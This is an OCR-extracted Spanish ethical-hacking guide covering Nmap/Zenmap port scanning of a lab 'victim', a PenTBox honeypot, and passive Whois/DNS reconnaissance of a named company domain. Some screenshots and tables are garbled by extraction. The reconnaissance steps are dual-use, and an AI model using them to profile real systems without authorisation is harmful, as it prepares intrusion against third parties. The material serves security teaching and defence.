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de Seguridad Informatica 


Esta guia está dedicada al hacking ético, esto es, la práctica de vulnerar 
la seguridad informática de un sistema para detectar posibles fallas y así 
poder protegerlo mejor. Plataformas como HackerOne pagan a los hackers 
por cada vulnerabilidad o bug que descubren y reportan a las empresas 
que contratan sus servicios. Fue en esta plataforma que un hacker 
argentino de 19 años fue noticia por haber logrado ganar un millón de 
dólares cobrando las recompensas por los bugs que descubrió y reportó. 


Los métodos de ataque descritos en esta guía tienen entonces como 
objetivo capacitar al lector interesado en hacking ético y, al usuario 
general, hacerlo conocer los peligros actuales a los que está expuesto 
y cómo protegerse. Por este motivo, en cada procedimiento descrito, 
se explica también cómo defenderse de los ataques y se recomiendan 
medidas de prevención. 


Esta guía no debe utilizarse para realizar actividades ilegales o causar 
daño a terceros; no sólo está moralmente mal, sino que el riesgo es 
mucho mayor que el beneficio. 


Miguel Lederkremer (@leder) 
Director Editorial 
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Hacking ético 





En esta primera sección veremos qué son y para qué 
sirven las técnicas conocidas como hacking ético. 


Actualmente, nos encontramos rodeados de 
listas interminables sobre técnicas, ejercicios 
prácticos, notas y trucos que, sin mayor 
preámbulo, prometen convertir en hacker 
especializado a cualquier usuario de la noche 
a la mañana. 

Sin embargo, debemos saber que esto no 

es así de fácil, pues a los grandes hackers 

les ha llevado años construir sus propios 
conocimientos y mejorar sus técnicas, aquellas 
que les permitan atacar y, a su vez, evitar ser 
descubiertos, a como dé lugar. 

Antes de entrar de lleno en la materia, 
debemos saber que, dentro de la doctrina 
hacker, se conciben diversos tipos de 
atacante, cuya diferencia radica en el objetivo 
que persiguen. Esta doctrina también se 
compone de dos vertientes muy populares, 
las cuales se definen según las distintas 
intenciones que haya para penetrar un 
sistema (que van desde explotarlo, hasta 
detectar sus puntos débiles para protegerlo). 
Una de esas vertientes está enfocada en 

el ataque y originalmente se conoce como 
hacking; es la que ha dado lugar a una nueva 
filosofía llamada hacking ético (con fines 

de investigación), una parte del hacking 
centrado generalmente en el empleo de 

un conjunto de técnicas para detección de 
vulnerabilidades y, por ende, en la protección 
de bienes y recursos informáticos. Esta es la 
postura que se ha seguido para la ejecución 
de las prácticas en esta guía de proyectos. 

El presente material fue desarrollado para 
ser concebido como una guía de usuario 

para la protección de sistemas, bienes y 
activos. En él se ofrece una recopilación 

de prácticas sobre seguridad informática y 
hacking ético (muchas de ellas, desarrolladas 
y empleadas por diversos usuarios en el 
mundo), cuyo propósito es dar a conocer los 
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diversos mecanismos de seguridad que deben 
emplearse para estar al dia en contra de 
posibles riesgos e inminentes ataques. Estos 
procedimientos no deben usarse con fines 
perjudiciales e ilícitos, pues en ese caso, será 
pura responsabilidad del usuario que 

los practica. 


“La mejor manera de 
protegerse es conociendo 

la técnica de ataque. 

Este es uno de los fundamentos 
del hacking ético”. 


Esta serie de proyectos está integrada por 
múltiples guías visuales que explican e 
ilustran la forma de llevar a cabo los ataques 
más comunes en contra de muchos de 

los recursos informáticos. Por lo tanto, se 
recomienda discreción, supervisión y control 
absoluto. Para esto, se ha definido el uso de 
plataformas para pruebas de penetración 
(distribuciones GNU-Linux para pentesting), 
las cuales pueden usarse libremente para 
efectos de prueba y demostración de ataque y 
protección. 

Los procedimientos paso a paso planteados 
fueron configurados para tratarlos como 
ejercicios que persiguen un fin didáctico y 
sin ánimo de lucro. Aunque en un inicio (para 
cada proyecto) se ilustra la forma de llevar 

a cabo el ataque, al final (en la mayoría 

de los proyectos) se presentan diferentes 
alternativas de seguridad (empleadas por 
expertos en la materia) para protegerse ante 
posibles riesgos o algún tipo de acto ilícito. 
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Prueba de intrusión 


El hacking ético también es conocido como prueba de intrusión o penntest. Se define, 
esencialmente, como un procedimiento que busca comprobar la existencia de 
vulnerabilidades de seguridad para conocer los peligros a los que está expuesta una 
infraestructura de red o sus servicios y usuarios. Una vez realizado este análisis, se elaboran 
informes para revelar aquellos fallos de seguridad encontrados. Mitigarlos a la mayor 
brevedad posible evita, sin duda, fugas de información y/o ataques informáticos. Esta es 
una manera de reforzar los niveles de seguridad en un sistema u organización, permitiendo 
mantener a salvo todos sus datos. Esta prueba, a menudo, es utilizada tanto por hackers de 
sombrero blanco, como por otros de sombrero gris y negro. 
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Herramientas necesarias 


Para cada proyecto descripto en el presente material, se concibe la configuración 

de laboratorios. Estos consisten en un escenario cuyo entorno, en parte, está conformado 

por varias herramientas de software, procedimientos y demostraciones. Cabe mencionar 
que estas pueden ser distintas entre un proyecto y otro. 


Para el desarrollo de esta guía (en la mayoría 
de los proyectos) se ha considerado el uso de 
herramientas GNU-Linux y, por consiguiente, 
de aplicaciones de software libre. No obstante, 
para algunos proyectos deben usarse desde 
herramientas propietarias hasta software 
comercial (tal es el caso del software para la 
creación de máquinas virtuales). 

El principal motivo para utilizar herramientas 
GNU es que son mucho más versátiles y, por 
lo tanto, pueden emplearse a gran escala para 
la protección de sistemas que van desde uso 
personal hasta el uso corporativo. Otra razón 
es que consumen menos recursos, son más 
rápidas (en cuanto a tiempo real), cómodas 

y, desde luego, más seguras. Aunque la razón 
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Parrot Security OS es una distribución GNU/Linux especializada en 
seguridad informática. Nos permite realizar tareas de pentesting, 


de mayor peso, quizás, es que durante años 
GNU/Linux ha dejado a disposición del usuario 
final lo que se conoce como distribuciones, en 
comparación con otros sistemas operativos 
(como Windows o MAC OSX). 

Actualmente podemos encontrar (en gran 
medida) distribuciones dedicadas a un 
reciente paradigma computacional que está 
dando mucho de que hablar, conocido como 
seguridad informática. Esto ha dado lugar 

a distribuciones para efectos de prueba de 
penetración (pentesting). Un claro ejemplo de 
esto es, sin duda, Kali Linux, Parrot Security 
OS, Backtrack, OWASP y Metasploitable, por 
mencionar algunas que serán revisadas a lo 
largo de este material. Al final, se puntualiza en 
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informática forense, ingeniería inversa, navegación anónima y criptografía. 
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Versatilidad, rapidez, menor 
consumo de recursos y la 
existencia de distribuciones 
dedicadas ponen a GNU 
Linux como una de las 
opciones mas utilizadas para 
realizar hacking ético. 





la distribución Trinity Rescue para efectos de manera más idónea para vivir la experiencia se 
recuperación de accesos a Windows. consigue mediante el manejo de un sistema 

La concepción de sistemas operativos libres GNU-Linux booteable. 

es una excelente alternativa para poner a En este texto se han incluido los enlaces web 
prueba conocimientos sobre hacking, sobre para la descarga del software necesario, 
todo, a la hora de querer analizar, simular e, de manera que no existe un limitante para 
incluso, experimentar con técnicas de ataque. comenzar a practicar. La mayoría de los links 
Por esta razón, sería ideal adoptarlos como son de páginas oficiales, lo que garantiza una 
segundo sistema operativo dentro de la PC descarga libre de malware, y con información 
(si es que ya se cuenta con uno instalado oficial y legal. 

como anfitrión). Las herramientas que utilizaremos incluyen 

En un principio, si no tenemos suficiente keyloggers, escaners, sniffers, software para 
práctica, es recomendable emplear máquinas efectos de poisoning (spoofing), navegación 
virtuales (que se pueden crear mediante el anónima, VPN, debugger, crackmes, lenguajes 
uso de software como Virtual Box, VMWare de programación (IDE) y analizadores de tráfico 
o Virtual PC). Pero no cabe duda de que la para redes, entre otras. 
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BackTrack es una distribucion GNU-Linux que podemos encontrar 
en formato LiveCD. Su principal funcion se relaciona con la 
realizacion de auditorias de seguridad informatica en general. 
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Escáner con Nmap (Zenmap 


En este proyecto, el usuario pondra en practica una de las etapas 

de la metodologia hacker: el escaneo. El ejercicio esta planeado 
para la ejecucion de la herramienta Nmap desde cualquier equipo 
de una red. El objetivo es escanear los puertos de la PC de una futura victima. 





— PY 


ES 


pared 


[+] [Escaneo E Sii, 


a aide 
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=> Zenmap 


Escaneo Herramientas Perfil Ayuda (ŒH) 


Objetivo: 192.168.232." E 
nmap -5$ -p 1-100 -T4 -O --scn 


Comando: 


| Servicios | | Salida Nma i 
== 168.232. 
l nmap -s5 -p 1-100 -T4 -O - -script- -args whodb==nofile 192 A H : 
OS * Servidor 4 E p 70 ( https://nmap.org ) at 2018-10-02 08:56 Hora de vera = tt 
Starting Nmap 7. B 
oe reos eros i Pe ei icing any ONS servers. Reverse ONS is disabled. Try using 
192.168.232.1 dns: warning: Unable to y ES 

>, 68.232.254 | prin dns or specify valid servers with dns-serv El 

ps ea e een ie. 168.232.254 are filtered 


MA 
E many fingerprints match this host to £ 


[+] Perfil: | Personal 


ipt-args whodb==nofile 192.168.232. r 5 | 


[Topologia | Detalles del seridor| Escaneos| 


p | Puertos / Servidores 


= a 





All 100 scanned ports on 


VMware 
: 00:50:56:F2:41:68 ( ) ive specific OS details 


1 hop 





Skipping SYN Stealth Scan against 192.168.232.1 because Windows does not support scanning your 
n machine (localhost) this way. 
indir OS Scan against 192.168.232.1 because it doesn't work against your own machine 


(localhost) 
Nmap scan report for 192.168.232.1 


Host is up. 





PORT 


STATE 





SERVICE 


1/tcp 
| 2/tcp 


unknown tcpmux 
unknown compressnet | 


3/tcp 
4/tcp 
5/tcp 
6/tcp 
7/tep 
B/tcp 
9/tcp 
10/tcp 





11/tcp 


unknown 
unknown 
unknown 
unknown 
unknown 
unknown 
unknown 
unknown 
unknown 


compressnet 
unknown 

rje 

unknown 
echo 
unknown 

discard 

unknown 

systat | 


[12/ten ı unknown 


Filtrar servidores 


unknown 





1 Objetivo: espacio en el que debe colocarse la dirección IP privada o 
pública de la red que desea inspeccionarse con fines de protección o 


ataque. 





Escaneo 


2 Perfil: desde aquí se puede configurar una consulta específica, que 
se verá reflejada en el cuadro de texto Comando. Se puede crear un Es una de las fases de 
perfil o búsqueda personalizada. la metodología hacker, 
3 Área de resultados: permite ver el resultado obtenido. Incluye una a través de la cual se 
serie de pestañas para visualizar desde el estado de los puertos realiza la inspección 
Ep be hasta la topología relacionada con el escaneo de la red o de un sistema con el 
el equipo. : a oni 
ee fin de identificar el 
4 Botón Escaneo: permite inicializar el escaneo de puertos de la PC o estatus de uno o más 
red, con el propósito de ubicar vulnerabilidades en el sistema. 
puertos. Los puertos 
5 Comando: aquí se escribe el comando a ejecutar para efectos de | abiertos le permiten al 
búsqueda. Estas órdenes se crean de manera automática, pero existe , 
la posibilidad de colocarlo de forma manual. atacante explotar ciertas 
' oo e vulnerabilidades en el 
6 Panel Servidores y Servicios: aqui se visualizan los datos de ist 
sistema. 


direccionamiento de los servidores escaneados, los servicios de cada 
puerto e, incluso, el sistema operativo de los equipos. 
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Pentesting (prueba de penetracion) 


Es una practica que consiste en efectuar algun tipo de ataque sobre 


diversos entornos, con el objetivo de descubrir vulnerabilidades o fallos 
en la seguridad de un equipo. El propósito principal del pentesting es 
prevenir ataques externos hacia esos equipos o sistemas. 





Escaneo de puertos de una PC 


A continuación se muestra 
un procedimiento paso a 





























paso para comprender el Sà SuperScan 3.00 
uso basico de la herramienta 2 Hostname Lookup - Configuration } 
ue se utiliza para el Lo o | Port list set 
9 ‘ p Resolved | Me | Interfaces | Post ist setup | 
escaneo. Es importante We === _— a Y IAS 
_+ Timeout, ; —————— Scan type 
saber que el escaneo de Safor | | Pro || I Resolve hostnames 
LA . . . hd V Onl . . 
puertos no esta tipificado sizar H) ao — Ai kaea pings 
como delito. Una alternativa aiii | |C Serai 
an PrevC | NextC | 1..254 
similar de gran uso es la AAA Every port in list 
herramienta SuperScan. I¥ Ignore IP zero (* All selected ports in list 
p IV Ignore IP 255 GD C All list ports from fi [65535 
| Extract from file E © Allports from [i [65535 
Speed, — SS = Ai - 
Max | Active hosts 
Open ports 
uri 
SuperScan: 
herramienta 
adicional para 
la tarea de escaneo 











de puertos. 


idaptador de LAN inalámbrica Wi-Fi: 


Suf ijo DNS específico para la conexión. 
Vínculo: dirección IPv6 local. . . : £ 
Dixscción EPutbo< osa ass. 
Máscara de subred . . . 

Puerta de enlace predeterminada . Da 


bððc -785 -8ef 9 -Safex4 
192.168.232.68 
255.255.255.0 
fe80::174 

a + Y ok 


.. 4 
þh. a 

`O 

Woe . 4. 0 
CO ce se te ce oe 


Adaptador de Ethernet Ethernet: 


Estado de los medios. . . . . medios desconectados 
Sufijo DNS específico para la conexión. . : 


idaptador de túnel isatap.tAC423F4C-8B2D-4582-B9ED-EG1D7E1BFD14>: 


Estado de los medios. . . . NE, De medios desconectados 


Sufijo DNS específico para la conexión. . : 


-\Users\Gil> 





1 Antes de la ejecución de Zenmap, es necesario conocer la 
dirección IP de la red o equipo de la víctima. Para esto, abra 
la CLI del sistema operativo de su elección. Posteriormente, 
escriba el comando ipconfig, seguido de un ENTER. 
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Ejecute Zenmap y luego, 
desde la caja de texto 
Objetivo, ingrese la 
direccion IP de la PC de 
la víctima (red o rango 
deseado). Por ejemplo: 
192.168.232.* (0-254). 
Note que, al terminar de 
escribir la IP, se presenta 
un cambio sobre el campo 
Comando. Haga clic 
sobre el boton Escaneo y 
aguarde. 


Editor de perfil 


_nmap -sS -p 1-100 -T4 -O --script-args whodb==nofile 192,168,232" 


Perfil Escaneo | Ping | Scripting | Objetivo | Fuente | Otro | Timing 


Escaneo Herramientas Perfil Ayuda (H) 


Objetivo: | 192.168.232." 


Comando: ‘nmap 192.168.232." 


[senidores ]| servicios | 


OS * Servidor 4 
fW  10,1,233.63 
W 192168.2321 
@ 192.168.232.254 








Opciones de escaneo 


Objetivos (opcional): 192.168.232." 





Escaneo TCP SYN (sS) 


¡Ninguno 


Escaneo TCP: 


Escaneos no-TCP: 








Plantilla de tiempo: ¡Agresivo (-T4) 





Activar todas la opciones avanzadas/agresivas (-A) 
Detección del sistema operativo (-O) 

[E] Detección versión (-sV) 

Escaneo Idle (Zombie) (-sI) | 

FTP bounce attack (-b) | 

[F] Desactivar la resolución DNS inversa (-n) 

Soporte IPv6 (-6) 


Posteriormente, navegue 
por cada pestaña del área 
de resultados, así como 
por el panel de Servidores 
y Servicios ubicado a 

su izquierda. Con esta 
inspección, podrá detectar 
el estado de los puertos 
del sistema, además de 
verificar la topología del 
escaneo y detalles sobre 
servidores activos, entre 
otros aspectos. 
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[æ] Peri: 


ii — 
nmap 192,168,232." mgA l l pos lz] = 


[=] Cancelar | 




















Starting Nmap 7.78 ( https://nmap.org ) at 2018-10-02 09:41 Hora de verano central (México) a 
Nmap scan report for 192.168.232.254 a 
mass_dns; warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using -- 
system-dns or specify valid servers with --dns-servers 

Host is up (@.@@s latency). 

All 1880 scanned ports on 192.168.232.254 are filtered 

MAC Address: 00:50:56:F2:41:6B (VMware) 


Skipping SYN Stealth Scan against 192.168.232.1 because Windows does not support scanning your 
own machine (localhost) this way. 

Nmap scan report for 192.168.232.1 

Host is up. 


unknown telnet 


mmm metiumad? 





23/tcp 


MA iten 











3/3 servidores mostrados Filtro de Host: | 


Después de arrojar los 
datos esperados sobre el 
área de resultados, en la 
ficha Salida Nmap podrá 
verificar tanto el estado 
como los servicios de cada 
puerto escaneado. En caso 
de querer personalizar la 
consulta, se sugiere crear 
un nuevo perfil desde: 
Perfil/Nuevo perfil o 
comando. Para invocarlo, 
es necesario buscarlo 
desde el Combo Perfil. 


Profile name 


This is how the profile will be 
identified in the drop-down combo 
box in the scan tab. 


Escaneo Herramientas Perfil Ayuda (H) 





Objetivo: | 192.168.232." 
Comando: nmap -s$ -p 1-100 -T4 -0 --script-args whodb== nofile 192.168.232.* 





[e] Perfil: | Personal 


[z] | Cancelar | 


[Servidores | senácios | Topología 


OS 4 Servidor = 
W = 10.1.233.63 
W 192.168.2321 
W 192.168.232.254 








(sander ese [etc dpe [Goma] (Lend aio 


B Acción 


o + 5 


= Interpolación 


@ 2 168.222. 254 


CM: 


© Polar © Cartesiana 


Tramas 


= Plano 


Ponderada [+] a 


Vista 


@ 192.168.2321 





Fisheye sobre el aro 1.00 4 > g con un factor de interés 2,00 E y un factor de difusión | 0.50 E 


Una vez que el hacker conoce el estatus de los los puertos dentro de un sistema de computo 


puertos (abierto o cerrado), el siguiente paso o red es una obligación, prácticamente, para 
consiste en averiguar las vulnerabilidades a las cualquier hacker. 

que está expuesto el sistema. Para lograrlo, En la tabla adjunta se presenta una lista de 
necesita de una o varias herramientas de software algunos de los puertos utilizados con mayor 
viables. La identificación y el reconocimiento de frecuencia: 





NU O DE PUERTO PUERTO NOMBRE DEL PUERTO 

SSH EA 
A Whois Whois o 
59 os [bomannamesemee 
e Toe [yn tostConmatprotecol 
w oio me i eener 
1er ie Network Management Protocol 
as o o neos 
ees Doom Doom O 
so E MS 
5900 VNC [Virtual Network Computing | 


Puertos comunes presentes en un sistema de computo y red. 


Para visualizar la lista completa de la informacion anterior, es aconsejable consultar el portal de 
IANA (Assigned Numbers Authority), desde la siguiente dirección: www. iana.org/assignments/ 
service-names-port-numbers/service-names-port-numbers. xhtml. 
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Como protegernos 


Mediante IDS (Intrusion Detection Systems), instalar en el objetivo de un posible ataque, 
es posible la detección de un escaneo, y la y así poder detectarlo y obtener información. 
activación de alarmas. Un honeypot (por pote Algunos ejemplos son: Ciber Cop, CISCO 

de miel, un señuelo), es una herramienta a NetRanger, TripWire, Snort y Honeypot. 


Configuración básica de Honeypot 


root@kali: /pentbox-1.8 


File Edit View Search Terminal Help 


:/# cd pentbox-1.8 
L.8# ls 


# ruby pentbox.rb 





Se sugiere tener previamente instalada la herramienta PenTBox sobre 
alguna distribucion de GNU-Linux (en este caso, Kali Linux), con el fin 
de tener acceso a Honeypot. 


root@kali: /pentbox-1.8 
File Edit View Search Terminal Help 
PenTBox 1.8 


File Edit View Search Terminal Help 


— n - Network tools 

UOU | . ' PERERA. 

- Web 

- Ip grabber 
Geolocation ip 


ruby2.3.3 @ x86_64-linux-gnu 


- Mass attack 
- Cryptography tools 


- License and contact 





2- Network tools 
- Exit 
-> 2 
Ip grabber 
: j - Net DoS Tester 
- Geolocation ip TCP port scanner 
- Mass attack Fuzzer 
- DNS and host gathering 
- License and contact - MAC address geolocation (samy.pl) 
- Back 
-> 3 
Tras la apertura de pentbox.rb, podra Una vez dentro de Network tools, elija 
apreciar un menu de ocho opciones. Para la opción Honeypot tecleando el número 3 
tener acceso al IDS, debe escribir después del indicador ->. 
el número 2 (Netwok tools) y presionar 
la tecla ENTER. 


12 | redusers.com 


root@kali: /pentbox-1.8 
Fite Edit View Search Terminal Help 


7- License and contact 
8- Exit 
-> 2 


- Net DoS Tester 

- TCP port scanner 
Honeypot -> 80 

- Fuzzer 

- DNS and host gathering 

- MAC address geolocation (samy.pl) 


1- Fast Auto Configuration 


Insert port to Open. 


root@kali: /pentbox-1.8 


File Edit View Search Terminal Help 


Insert false message to show. 


-> ALERTA: INTRUSO DETECTADO... 


- Back 


Save a log with intrusions? 


-> 3 
(y/n) ->y 
// Honeypot // 


Log file name? (incremental) 


You must run PenTBox with root privileges. 


Default: */pentbox/other/log_honeypot.txt 


Select option. 
-> 


l- Fast Auto Configuration 
2- Manual Configuration [Advanced Users 


(y/n) -> yi 


PenTBox arrojará un par de opciones de 
configuración. En este caso, se sugiere 
seleccionar la segunda para efectos de una 
configuración manual. Escriba el número 2 
después del indicador: ->. 


4, 


letra “y 


root@kali: / 


File Edit View Search Terminal Help 


root@kali: /pentbox-1.8# cd .. 
root@kali: /# ifconfig 
etho: flags= 2 BROADCAST: RUNNING,MULTICAST> mtu 1500 
68. my netmask 255.255.255.0 broadcast 192.168.232.255 
inet6 febo: :2feb: d812: 5f8e:2fc2 prefixlen 64 scopeid 0x20<Link> 
ether 00:0c:29:ba:88:ad txqueuelen 1000 (Ethernet) 
RX packets 28673 bytes 30792603 (29.3 MiB) 
RX errors © dropped © overruns O frame 0 
TX packets 10784 bytes 1523538 (1.4 MiB) 
TX errors © dropped © overruns © carrier © collisions 0 


Mozilla Firefox 
J http://192.168.232.128/ x + 





€ @ 192.168.232.128 a |Q Search wv 8 


fj Most Visitedw [Offensive Security Ñ Kali Linux ‘Ñ Kali Docs ‘Ñ Kali Tools ** Exploit-DB 


ALERTA: INTRUSO DETECTADO POR PUERTO 80 


root@kali: /pentbox-1.8 
File Edit View Search Terminal Help 


INTRUSION ATTEMPT DETECTED! from 192.168.232.128:33386 (2018-10-01 17:41:09 +0 


User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 
Accept: text/html, ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 

Accept-Encoding: gzip, deflate 

Connection: keep-alive 


Upgrade-Insecure-Requests: 1 


INTRUSION ATTEMPT DETECTED! from 192.168.232.128:33388 (2018-10-01 17:41:13 +0 


GET /favicon.ico HTTP/1.1 

Host: 192.168.232.128 

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 
Accept: */* 

Accept-Language: en-US,en;q=0.5 

Accept-Encoding: gzip, deflate 

Connection: keep-alive 











Activate beep() sound when intrusion? 


Proceda a llenar los campos solicitados. En 
el campo puerto, puede colocar el número 
80 (que hace referencia al HTTP). Termine 
guardando los cambios y activando el 
sonido de alerta de intrusión colocando la 
por cada pregunta. 


Realice ahora la 

prueba para verificar el 
funcionamiento de la alerta 
configurada. Para esto, 
abra una nueva terminal 

e ingrese el comando 
ifconfig, el cual muestra 
la IP (o rango de IPs de la 
red) que desea examinar. 
A la par, abra el navegador 
de su elección y coloque la 
dirección IP expuesta en la 
terminal. 


Note que, tras haber 
intentado ingresar con una 
IP a un servidor protegido 
(o en su defecto, haber 
escaneado el puerto 80 

del presente sistema), 

este emitirá una alerta, en 
la que advierte: INTRUSO 
DETECTADO, mensaje que 
puede verse tanto en la 
página como en el servidor. 
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Explorar un sitio con Whois 


En este proyecto se pretende explorar los datos más relevantes 
que arroja un sitio web con fines de ataque o, en su defecto, 
con fines de protección (adjudicada a la labor del pentesting). 





Herramienta online 


Una de las fuentes más comunes para relevar la información relacionada con direcciones IP 

y datos técnicos es Whois. Hoy en día, es muy habitual valerse de software de terceros 

que implementan este paradigma. 

Whois, disponible como sitio web o como aplicación, permite al usuario desplegar la información 


pública de cualquier dominio de Internet. Los enlaces que se recomiendan son: www.who.is, 
www.whois.net y www.dnsstuff.com. 











= 





C ü Es Seguro 


... 
se A mu 
n Aplicaciones [y Contacto | Proyecto 


https WYVEWNOIS. net 





a Catorce cursos unive Y ov 








Arcade Cabinet 


G ACADEMY: Segur t 
EMY: Segura mer p 
9 A ipime programs F Cómo caer lata Q 
z vi . [X 
dere O ciegue 


WHOis.net 


Your Domain Starting Place... 


Pagina principal del sitio 
www.whois.net, 

un recurso que permite 
al hacker conocer datos 
como nombre del dominio 
y direccionamiento IP en 

la etapa de reconocimiento 
de la metodología hacker. 
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Reconocimiento pasivo 


El siguiente paso a paso ilustra el procedimiento para obtener informacion 
de una empresa (etapa de reconocimiento pasivo) desde su portal publico 
en Internet. Antes de iniciar, es importante recordar que se debera contar 
con la URL exacta del objetivo a seguir, ademas de las herramientas basicas 
de exploración, tales como: who.is, dnsstuff.com y Visual Whois 2004 
(esta última tendrá que estar previamente instalada en el equipo). 


€ 3 ( |â Esseguro | https://who.is 


33% Aplicaciones [Y Contacto | Proyectos PA] Catorce cursos unive 8) DIY Arcade Cabinet 


Premium Domains Transfer Features Login Sign Up 


G ACADEMY: Seguride (A) El primer programa 


[F] Cómo calibrar la bat aprende.org [Ì clicseguro.sep.gob.: 


whois, 


WHOIS Search, Domain Name, Website, and IP Tools 


www.smarttel.mx 


Ọ Your IP address is 187 190 28.158 


Looking to get a website? MA Web Hosting 


Y Website Builder É SSL Certificates 


Online greatness is just a click away. 
Register a .COM domain for only $5.99. 





Desde su navegador, ingrese en la siguiente página: www.who.is. Posteriormente, introduzca 
la dirección web del objetivo (en este caso: www.smarttel.mx) dentro de la caja de texto de la 
sección Whois Search. Luego presione sobre el botón de búsqueda. 


= Œ | @ Es seguro | https://who.is/wt smarttel.mx 


E 














== Aplicaciones [Ì Contacto | Proyecto a Catorce cursos unive rd DIY Arcade Cabinet 


Co: A 


smarttel.mx 


whois information 
History DNS Records Diagnostics 


4 DEA e 
d5 econds ay 


Premium Domains 


Registrar Info 
Name Akky (Una division de NIC Mexico) 


Status 

Important Dates 
Expires On 2018-09-14 
Registered On 


Updated On 


Similar Domains 


smart%26handsome.ni | smart—-diet com | smart---successcoach.com | smart--baby--watch.ru | smart—baby-watch.tu | 
smarn—bargains.com | smart--cards.com | smart--choice.ru | smart-city.com | smart--coding.com | smart—design_net | 
smart—finances.com | smart—grid.com | sman-—home.com | smart—income.com | smart—lab.org | smart—lipo.com | smart- 


marketing.com | smart--moves.com | smart—moves.org | 





& ACADEMY: Segurida. @ El primer programa Cómo calibrar la bat aprende.org [Ì clicseguro.sep.gob.: » 


a 


Transfer Features Login Sign Up 


Get $5.99 COM domains with promo code NAME 


name.com 


com 


VERISIGN (Y) 


Online greatness is just a 
click away. Register your .COM 
domain for only $5.99. 


Aparecera una nueva pagina con cuatro pestanas (Whois, History, DNS Records 

y Diagnostics). Proceda a revisar y almacenar los datos desplegados en pantalla (nombre 
de la compania, nombre de la entidad que ha registrado el dominio, direcciones postales, 
datos de direccionamiento de red, telefonos y mails). 
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Premium Domains Transfer Features Login Sign Up 


smarttel.mx 


DNS information 


DNS Records for smarttel.mx 


Hostname Type TTL Priority Content 

smarttel mx SOA 21599 ns6155.hostgator.com root@gator3078.hostgator.com 2016091403 86400 7200 3600000 86400 
smarttel mx NS 21599 ns6156.hostgator.com 

smarttel.mx NS 21599 ns6155.hostgator.com 

smarttel mx A 14399 192.232.218.136 

smarttel mx 14399 mail.smarttel. mx 

www.smarttel. mx A 14399 192.232.218.136 


www.smarttel.mx CNAME 14399 smarttel mx 





Comience a navegar por la pestaña DNS Records. Analice los datos expuestos 
y registre la dirección IP de los servidores de la página explorada. 


smarttel.mx 


diagnostic tools 


Whois History DNS Records 


Ping 


PING smarttel.mx (192.232.218.136) 56(84) bytes of data. 

64 bytes from 192.232.218.136: icmp_seq=1 ttl=37 time=59.7 ms 
64 bytes from 192.232.218.136: icmp_seq=2 ttl=37 time=59.7 ms 
64 bytes from 192.232.218.136: icmp_seq=3 ttl=37 time=59.7 ms 
64 bytes from 192.232.218.136: icmp_seq=4 ttl=37 time=59.7 ms 
64 bytes from 192.232.218.136: icmp_seq=5 ttl=37 time=59.8 ms 


--- smarttel.mx ping statistics --- 
5 packets transmitted, 5 received, 0% packet loss, time 4003ms 
rtt min/avg/max/mdev = 59,757/59.784/59.815/0.155 ms 


Traceroute 


traceroute to smarttel.mx (192.232.218.136), 30 hops max, 60 byte packets 

1 ip-10-0-0-14.ec2.internal (10.0.0.14) 0.673 ms 0.683 ms 0.681 ms 

2 216.182.226.36 (216.182.226.36) 58.400 ms 58.424 ms 58.397 ms 
100.66.8.78 (100.66.8.78) 18.214 ms 100.66.8.68 (100.66.8.68) 58.723 ms 100.66.8.78 (100.66.8.78) 18.209 ms 
100.66.11.162 (100.66.11.162) 17.251 ms 100.66.11.70 (100.66.11.70) 14.297 ms 100.66.10.142 (100.66.10.142) 17.914 ms 
10@.66.7.11 (100,.66.7.11) 17.756 ms 100.66.6.37 (100.66.6.37) 15.978 ms 100.66.7.39 (100.66.7.39) 14.200 ms 
10@.66.4.177 (100.66.4.177) 14.293 ms 100.66.4.39 (100.66.4.39) 18.478 ms 100.66.4.115 (100.66.4.115) 21.736 ms 
100.65.10.129 (100.65.10.129) 0.997 ms 100.65.11.225 (100.65.11.225) 0.969 ms 100.65.9.65 (100.65.9.65) 0.942 ms 
52.93.24.14 (52.93.24.14) 3.215 ms 52.93.24.4 (52.93.24.4) 3.022 ms 52.93.24.30 (52.93.24.30) 3.842 ms 
52.93.24.9 (52.93.24.9) 1.816 ms 52.93.24.11 (52.93.24.11) 1.796 ms 52.93.27.214 (52.93.27.214) 2.630 ms 





Presione sobre la pestaña Diagnostics. Analice las pruebas de conectividad pertinentes 
(Ping y Traceroute) y proceda a respaldar el resultado obtenido de dicha prueba. 


Whois se basa en petición/respuesta y se 
emplea para realizar consultas con el fin de 
identificar al propietario de un nombre de 
dominio o una dirección IP en Internet. 
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T Log in is no longer required. RBL Alerts and Domain Doctor are no longer available. 
al DNSstuff 


MANAGE | MONITOR | ANALYZE Your IP Address: 187.190.28,158 Located near Ciudad Nezahualcoyotl, Mexico (MX) FAQs | Help | Contact Solarwinds 


Overview Professional Toolset Mail Server Test Cente: Communit Network M 


Return to tools 


DNSreport Results for www.smarttel.mx BS Export 


FAIL 


WARNING PASS INFO 


w PARENT 


Status Information 


Parent zone does not provide glue for nameservers, which will cause delays in resolving your domain name. The following nameserver 

addresses were not provided by the parent ‘glue’ and had to be looked up individually. This is perfectly acceptable behavior per the RFCs. This 

will usually occur if your DNS servers are not in the same TLD as your domain (for example, a DNS server of “ns1.example.org" for the domain 
—€ provides NS “example.com"). In this case, you can speed up the connections slightly by having NS records that are in the same TLD as your domain. 


ns6156.hostgator.com. | No Glue | TTL=86408 
ns6155.hostgator.com. | No Glue | TTL=864ee 


At least 2 (RFC2182 section 5 recommends at least 3), but fewer than 3 NS records exist (RFC1912 section 2.8 recommends that you have no 

more than 7). This meets the RFC minimum requirements, but is lower than the upper limits that some domain registrars have on the number 

of nameservers. A larger number of nameservers reduce the load on each and, since they should be located in different locations, prevent a 
Number of nameservers single point of failure. The NS Records provided are: 


ns6156.hostgator.com. | No Glue | TTL=864ee 
ns6155.hostgator.com. | No Glue | TTL=86490 





A continuación, ingrese en dnsstuff.com y, sobre el cuadro de texto de la sección DNSreport, 
coloque www.smarttel.mx. Analice y registre las vulnerabilidades del dominio para su uso posterior. 


ú Visual Whols 2004 


File Tools Options Help 


Type in a URL, domain name, IP address or e-mail address 
www. smarttel md 


Domain Detals | Network Details | TraceRoute Detai < > 
@ How to read Domain Records 


Network Whols Record for 
(smarttel.mx) 





a Organization information 
Registrant: 
Name: Ciberecus Mexico 
MEXICO 
Mexico 
Country: Mexico 


ES Important Dates 
Created On: 2016-09-14 
Expiration Date: 2018-09-14 
Last Updated On: 2017-10-10 


a Administrative contact 
